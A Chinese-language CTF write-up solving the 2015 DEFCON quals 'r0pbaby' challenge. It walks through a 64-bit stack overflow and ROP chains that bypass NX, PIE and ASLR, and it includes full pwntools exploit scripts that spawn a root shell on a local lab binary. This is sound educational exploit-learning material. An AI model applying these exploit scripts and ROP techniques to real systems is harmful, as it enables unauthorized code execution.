文章目录
  1. 1. 0x00序
  2. 2. 0x01栈溢出
  3. 3. 0x02 ROP绕过NX+PIE
  4. 4. 0X03 ROP绕过NX+PIE+ASLR
  5. 5. 0X04总结
  6. 6. 0X05参考资料

如何使用ROP来利用NX+PIE+ASLR栈溢出


0x00序

这是2015-defcon-quals的一道PWN题,也是一个比较简单的一个64bit的PWN题,自己不是很熟练也查了许多资料和文档,也走了很多弯路(有的地方考虑的太多了),花费了很多的时间才搞定它,现在分享给大家并做一个记录

题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/2015-defcon-quals-r0pbaby

0x01栈溢出

在linux下,使用readelf -h r0pbaby 查看文件的头信息

root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# readelf -h ./r0pbaby
ELF Header:
Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
Class:                             ELF64
Data:                              2's complement, little endian
Version:                           1 (current)
OS/ABI:                            UNIX - System V
ABI Version:                       0
Type:                              DYN (Shared object file)
Machine:                           Advanced Micro Devices X86-64
Version:                           0x1
Entry point address:               0xa60
Start of program headers:          64 (bytes into file)
Start of section headers:          8576 (bytes into file)
Flags:                             0x0
Size of this header:               64 (bytes)
Size of program headers:           56 (bytes)
Number of program headers:         8
Size of section headers:           64 (bytes)
Number of section headers:         26
Section header string table index: 25

这是一个64位的程序,可以运行一下程序看看程序是干什么的

root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

选项3这个地方很可能有问题,使用IDA查看程序的代码,可以很明显的看出选项3这是一个栈溢出漏洞,漏洞的具体位置如下

.text:0000000000000E45                 mov     rdx, r12        ; n
.text:0000000000000E48                 mov     rsi, rbx        ; src
.text:0000000000000E4B                 mov     rdi, rbp        ; dest
.text:0000000000000E4E                 call    _memcpy

_memcpy这是一个很常见但是很危险的一个字符串拷贝函数,如果目的缓冲区大小小于要拷贝的大小就会造成溢出,下面来分析一下dest的大小

__int64 dest; // [sp+450h] [bp+0h]@22 

它的大小是8个字节大小的局部变量,而src的大小最大可以接受1024个字节,由此可以造成栈溢出

0x02 ROP绕过NX+PIE

上面是静态和简单的运行,对程序有一个比较简单的了解,下面该使用调试器来动态分析这个漏洞

先介绍一下使用的工具gdb+peda插件
地址:https://github.com/longld/peda

还有ROPgadget
地址:https://github.com/JonathanSalwan/ROPgadget

首先关闭系统的ASLR方便调试,命令如下

echo 0 > /proc/sys/kernel/randomize_va_space
exit

还是来查看一下程序开启的安全机制

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : disabled

开启了NX(不可执行)+PIE(Position Independnet Code位置无关代码)等安全防护

对于上面的这些机制绕过他们的办法就是ROP,下面就说一下ROP

ROP(返回导向编程)原理很简单就是利用(程序或依赖库)现有的代码去构造代码去执行你自己想要的功能,这里说着简单,但是要使用好这个技术还是需要很多知识和时间的
下面举一个简单例子:比如执行system(“/bin/sh”)这个函数启动一个shell

首先分析一下,我们要完成这一个代码的执行,需要一些gadget和一些字符串

1./bin/sh 字符串的地址
2.system 函数的地址
3.在64位系统下需要将第一个参数放入rdi寄存器中

注:32位的参数直接放到栈上就行,这是由于64位和32的函数传参规则导致的,64位优先使用寄存器,rdi,rsi,rdx,rcx,r8,r9 ,多余的参数才会入栈

对于上面的三个需求,我们一个一个来解决,

1.可以使用find 在程序内查找 
2.gdb print 可以打印出system的地址(加载了libc)
3.使用ROPgadget 在程序或者依赖库中查找 pop rdi; ret 的gadget

然后我们可以将栈构造成如下:

返回地址-16 ……
返回地址-8 ……
返回地址 &pop_rdi_gadget
返回地址+8 &”/bin/sh”
返回地址+16 &system_addr
返回地址+24 ……
返回地址+32 ……

结合这个题,我们可以在libc中查找,先让程序运行起来,然后输入3,然后输入超过8个字符,程序会断下来,在使用peda的vmmap命令

gdb-peda$ vmmap 
Start              End                Perm    Name
0x0000555555554000 0x0000555555556000 r-xp    /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x0000555555755000 0x0000555555757000 rw-p    /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x0000555555757000 0x0000555555778000 rw-p    [heap]
0x00007ffff782f000 0x00007ffff79ce000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff79ce000 0x00007ffff7bce000 ---p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bce000 0x00007ffff7bd2000 r--p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd2000 0x00007ffff7bd4000 rw-p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd4000 0x00007ffff7bd8000 rw-p    mapped
0x00007ffff7bd8000 0x00007ffff7bdb000 r-xp    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7bdb000 0x00007ffff7dda000 ---p    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7dda000 0x00007ffff7ddb000 r--p    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7ddb000 0x00007ffff7ddc000 rw-p    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7ddc000 0x00007ffff7dfc000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fd0000 0x00007ffff7fd3000 rw-p    mapped
0x00007ffff7ff5000 0x00007ffff7ff8000 rw-p    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p    [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p    [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

然后使用seachmem “/bin/sh” /lib/x86_64-linux-gnu/libc-2.19.so 查找字符串

gdb-peda$ searchmem "/bin/sh" /lib/x86_64-linux-gnu/libc-2.19.so
Searching for '/bin/sh' in: /lib/x86_64-linux-gnu/libc-2.19.so ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7990160 --> 0x68732f6e69622f ('/bin/sh')

在0x7ffff7990160这个地址上找到一个,可以自己在验证一下防止工具出错

gdb-peda$ x/s 0x7ffff7990160
0x7ffff7990160:    "/bin/sh"

使用print system 获取system地址

gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff78704f0 <__libc_system>

查找pop rdi;ret

在程序中查找
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# ROPgadget --binary ./r0pbaby --only "pop|ret"|grep rdi
0x0000000000000eb1 : pop rdi ; pop rbp ; ret
0x0000000000000f23 : pop rdi ; ret

在libc中查找
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"|grep rdi
0x000000000001f6b2 : pop rdi ; pop rbp ; ret
0x0000000000022442 : pop rdi ; ret

这里有一个问题就是:ROPgadget 获取的地址没有基址只有偏移

我找到了解决办法:

1.cat /proc/pid/maps 或者使用vvmap(peda)查看
2.找到R-XP的段的基址
3.找到的基址加上+ROPgadget得到的偏移

通过上面得到这些gadget和数据,,使用pwntools可以写出如下exp

#filename: exp_off_aslr.py
#author:reshahar

from pwn import *

s = process('./r0pbaby')

def senddata(data):
    s.recvuntil(': ')
    s.sendline('3')
    s.recvuntil('): ')
    s.sendline(str(len(data)))
    s.sendline(data)

#system(rdi="/bin/sh")

prdi = 0x0000555555554f23  #0x0000000000000f23 : pop rdi ; ret
binsh = 0x7ffff7990160      #/bin/sh
system = 0x7ffff78704f0     #system 

playload = 'A'*8+p64(prdi)+p64(binsh)+p64(system)

print '###send playload###'

senddata(playload)

s.recvuntil(': Bad choice.')

s.interactive()

运行一下exp_off_aslr.py结果如下:

root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# python exp_off_aslr.py 
[+] Starting local process './r0pbaby': pid 10197
###send playload###
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root)
$  

运行成功,拿到shell

0X03 ROP绕过NX+PIE+ASLR

上面的exp可以拿到sehll,但是如果开启了ASLR,那么再运行一下之前的exp试试

开启ASLR

echo 2 > /proc/sys/kernel/randomize_va_space
exit

运行之前的exp

root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# python exp_off_aslr.py 
[+] Starting local process './r0pbaby': pid 10263
###send playload###
[*] Switching to interactive mode

[*] Process './r0pbaby' stopped with exit code -11 (SIGSEGV) (pid 10263)
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive

结果很明显,失败了,我们使用gdb调试一下,看看到底exp为什么执行失败了

这里使用attach的方式去调试,首先修改一下之前的exp加上一个输入,然程序暂停等待attach,
这样防止调试结果对我们的影响,然后运行之前的exp,在用另一个终端使用gdb attach pid 附加上去,在使用c继续执行,exp那边按任意键继续执行,可以看到程序断了下来

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554f23 in ?? ()

断在了0x0000555555554f23这个地址(之前找到的pop rdi;ret的地址),后面??说明这个地址没有内容,也就是说开启ASLR后,之前的地址发生了变化

我们使用vmmap 查看一下内存的加载情况

gdb-peda$ vmmap 
Start              End                Perm    Name
0x00007f2a4b9bb000 0x00007f2a4bb5a000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bb5a000 0x00007f2a4bd5a000 ---p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bd5a000 0x00007f2a4bd5e000 r--p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bd5e000 0x00007f2a4bd60000 rw-p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bd60000 0x00007f2a4bd64000 rw-p    mapped
0x00007f2a4bd64000 0x00007f2a4bd67000 r-xp    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bd67000 0x00007f2a4bf66000 ---p    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bf66000 0x00007f2a4bf67000 r--p    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bf67000 0x00007f2a4bf68000 rw-p    /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bf68000 0x00007f2a4bf88000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007f2a4c188000 0x00007f2a4c189000 r--p    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007f2a4c189000 0x00007f2a4c18a000 rw-p    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007f2a4c18a000 0x00007f2a4c18b000 rw-p    mapped
0x00007f2a4c18b000 0x00007f2a4c18d000 r-xp    /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x00007f2a4c364000 0x00007f2a4c367000 rw-p    mapped
0x00007f2a4c389000 0x00007f2a4c38c000 rw-p    mapped
0x00007f2a4c38c000 0x00007f2a4c38e000 rw-p    /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x00007f2a4db3d000 0x00007f2a4db5e000 rw-p    [heap]
0x00007ffe9b03d000 0x00007ffe9b05e000 rw-p    [stack]
0x00007ffe9b179000 0x00007ffe9b17b000 r--p    [vvar]
0x00007ffe9b17b000 0x00007ffe9b17d000 r-xp    [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

对比之前的可以看到不管是程序的地址,还是依赖库的地址都发生了变化,反复的调试,可以发现这些地址每次都在变

在这种情况下,我们绕过呢?

我们重新看程序的代码,可以发现程序可以获取libc的地址,就是第一个选项

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FC42F8C29B0

尝试了获取了一下libc的地址,但是发现并不对,开始以为是libc的某一个节的地址呢,后来发现也不太对,最后又看了一遍IDA的F5代码,才发现问题,这个地址,其实打开依赖库handle的值,也就是说他存储的值才是libc的地址,验证一下果然,然后就开始这种折腾,想通过write(1,handle,8),把这个值打印出来,然后得到这个值吗,就可以利用了。

有了上面的想法,就通过第二选项获取write地址,然后找gadget,构造ROP,最后写出了exp,但是想到获取了libc的基址,还要在输入,而将rip重定向到程序的地址中不行,因为程序的地址是随机化的,不能获取到确切的地址,在这就陷入了僵局

仔细思考了一下,发现自己走进了坑,上面调用write的时候,所有的gadget地址都是通过和write地址的偏移算出来的,就没有想到,直接将/bin/sh的地址,还有pop rdi的gadget 也转换成偏移,再直接调用system就直接拿shell了

想到这里直接改了exp,最终的exp如下:

#filename: exp_on_aslr.py
#author:reshahar

from pwn import *

#s = process('./r0pbaby')
s = remote('127.0.0.1',7777)

def getaddr(sym):
    s.recvuntil(': ')
    s.sendline('2')
    s.recvuntil(': ')
    s.sendline(sym)
    s.recvuntil(': ')
    data = s.recv(18)
    return data 

def senddata(data):
    s.recvuntil(': ')
    s.sendline('3')
    s.recvuntil('): ')
    s.sendline(str(len(data)))
    s.sendline(data)

systemaddr =  getaddr('system')

print "system addr "+systemaddr
systemaddr = int(systemaddr,16)


#system(rdi="/bin/sh")
off_prdi_of_system = 0x1F0AE      #0x0000000000022442 : pop rdi ; ret    system-prdi
off_binsh_of_system = 0x11FC70    #/bin/sh   /bin/sh - system

playload = 'A'*8+p64(systemaddr-off_prdi_of_system)+p64(systemaddr+off_binsh_of_system)+p64(systemaddr)

print '###send playload###'

senddata(playload)

s.recvuntil(': Bad choice.')

s.interactive()

将程序使用socat绑定到7777端口:

socat tcp4-listen:7777,fork exec:./r0pbaby

运行结果如下:

root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# python exp_on_aslr.py 
[+] Opening connection to 127.0.0.1 on port 7777: Done
system addr 0x00007F0EF0D864F0
###send playload###
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root)
$  

绕过ASLR比较关键的就是,依赖库中相对地址是不变的,比如你可以获取到一个地址,这个地址在每次运行的时候,你都可以获取到,这样在通过偏移就可以计算出你需要地址的地址。

0X04总结

ROP是现在漏洞利用的基础,我需要继续找一些题来分析和学习,再学习一些其他的漏洞利用技术,而绕过ASLR比较关键的就是,依赖库中相对地址是不变的。

这题花费了挺多时间,但是都是花费在一些比较无用的地方,但是这同样让我受益匪浅,以后要换多种角度思考,不能局限在一个方面

0X05参考资料

[1]:https://www.secpulse.com/archives/32328.html 64位Linux栈溢出教程
[2]:http://blog.csdn.net/zat111/article/details/46738649 linux PIE 程序
[3]:http://drops.xmd5.com/static/drops/papers-7551.html 一步一步学ROP之linux_x64篇

文章目录
  1. 1. 0x00序
  2. 2. 0x01栈溢出
  3. 3. 0x02 ROP绕过NX+PIE
  4. 4. 0X03 ROP绕过NX+PIE+ASLR
  5. 5. 0X04总结
  6. 6. 0X05参考资料